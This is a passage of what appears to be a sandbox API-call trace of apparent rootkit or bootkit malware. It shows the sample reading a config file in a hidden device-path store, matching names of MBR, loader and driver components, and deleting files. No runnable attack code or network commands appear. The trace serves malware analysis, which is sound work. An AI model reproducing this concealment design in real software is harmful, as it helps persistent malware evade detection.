(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.257] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.257] KeEnterCriticalRegion () [0121.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.257] KeLeaveCriticalRegion () [0121.257] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.257] KeEnterCriticalRegion () [0121.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.257] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.257] IdePortDispatch () returned 0x103 [0121.257] KeWaitForMutexObject () returned 0x0 [0121.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.258] KeLeaveCriticalRegion () [0121.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.258] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.258] KeEnterCriticalRegion () [0121.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e6000 [0121.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.258] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.258] IdePortDispatch () returned 0x103 [0121.258] KeWaitForMutexObject () returned 0x0 [0121.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.258] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.258] IdePortDispatch () returned 0x103 [0121.258] KeWaitForMutexObject () returned 0x0 [0121.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.258] KeLeaveCriticalRegion () [0121.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.259] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.259] KeEnterCriticalRegion () [0121.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] KeLeaveCriticalRegion () [0121.259] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.259] KeEnterCriticalRegion () [0121.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.259] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] KeLeaveCriticalRegion () [0121.259] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.259] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.259] KeEnterCriticalRegion () [0121.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] ExFreePoolWithTag (P=0xfffffa8003bc4f10, Tag=0x0) [0121.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] KeLeaveCriticalRegion () [0121.259] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.259] ReleaseMutex (hMutex=0xf0) returned 1 [0121.259] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.259] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.259] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.259] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.259] KeEnterCriticalRegion () [0121.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.259] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.259] IdePortDispatch () returned 0x103 [0121.260] KeWaitForMutexObject () returned 0x0 [0121.260] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.260] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.260] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.260] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.260] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.260] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.260] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.260] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.260] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.260] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.260] KeLeaveCriticalRegion () [0121.260] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.260] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.260] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.260] KeEnterCriticalRegion () [0121.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.260] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.260] IdePortDispatch () returned 0x103 [0121.260] KeWaitForMutexObject () returned 0x0 [0121.260] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.260] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.260] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.260] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.260] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.260] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.261] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.261] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.261] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.261] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.261] KeLeaveCriticalRegion () [0121.261] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.261] ReleaseMutex (hMutex=0x100) returned 1 [0121.261] Sleep (dwMilliseconds=0x2bf20) [0121.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b7b1910, dwHighDateTime=0x1d24fa4)) [0121.267] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.267] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.267] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.267] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.267] KeEnterCriticalRegion () [0121.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.267] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.267] IdePortDispatch () returned 0x103 [0121.267] KeWaitForMutexObject () returned 0x0 [0121.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.268] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.268] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.268] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.268] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.268] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f10 [0121.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.268] KeLeaveCriticalRegion () [0121.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.268] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.268] KeEnterCriticalRegion () [0121.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.268] KeLeaveCriticalRegion () [0121.268] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.268] KeEnterCriticalRegion () [0121.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.268] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.268] IdePortDispatch () returned 0x103 [0121.268] KeWaitForMutexObject () returned 0x0 [0121.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.268] KeLeaveCriticalRegion () [0121.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.268] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.268] KeEnterCriticalRegion () [0121.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e9000 [0121.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.269] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.269] IdePortDispatch () returned 0x103 [0121.269] KeWaitForMutexObject () returned 0x0 [0121.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.270] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.270] IdePortDispatch () returned 0x103 [0121.270] KeWaitForMutexObject () returned 0x0 [0121.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.270] KeLeaveCriticalRegion () [0121.270] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.270] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.271] KeEnterCriticalRegion () [0121.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] KeLeaveCriticalRegion () [0121.271] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.271] KeEnterCriticalRegion () [0121.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.271] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] KeLeaveCriticalRegion () [0121.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.271] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.271] KeEnterCriticalRegion () [0121.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] ExFreePoolWithTag (P=0xfffffa8003bc4f10, Tag=0x0) [0121.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] KeLeaveCriticalRegion () [0121.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.271] ReleaseMutex (hMutex=0xf0) returned 1 [0121.271] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.271] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.271] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.271] KeEnterCriticalRegion () [0121.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.271] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.271] IdePortDispatch () returned 0x103 [0121.271] KeWaitForMutexObject () returned 0x0 [0121.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.271] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.271] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.271] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.271] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.272] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3500 [0121.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.272] KeLeaveCriticalRegion () [0121.272] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.272] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.272] KeEnterCriticalRegion () [0121.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.272] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.272] KeLeaveCriticalRegion () [0121.272] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.272] KeEnterCriticalRegion () [0121.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.272] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.272] IdePortDispatch () returned 0x103 [0121.272] KeWaitForMutexObject () returned 0x0 [0121.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.272] KeLeaveCriticalRegion () [0121.272] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.272] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.272] KeEnterCriticalRegion () [0121.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ea000 [0121.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.272] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.272] IdePortDispatch () returned 0x103 [0121.272] KeWaitForMutexObject () returned 0x0 [0121.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.273] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.273] IdePortDispatch () returned 0x103 [0121.273] KeWaitForMutexObject () returned 0x0 [0121.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.273] KeLeaveCriticalRegion () [0121.273] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.273] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.273] KeEnterCriticalRegion () [0121.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.273] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.273] KeLeaveCriticalRegion () [0121.273] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.274] KeEnterCriticalRegion () [0121.274] 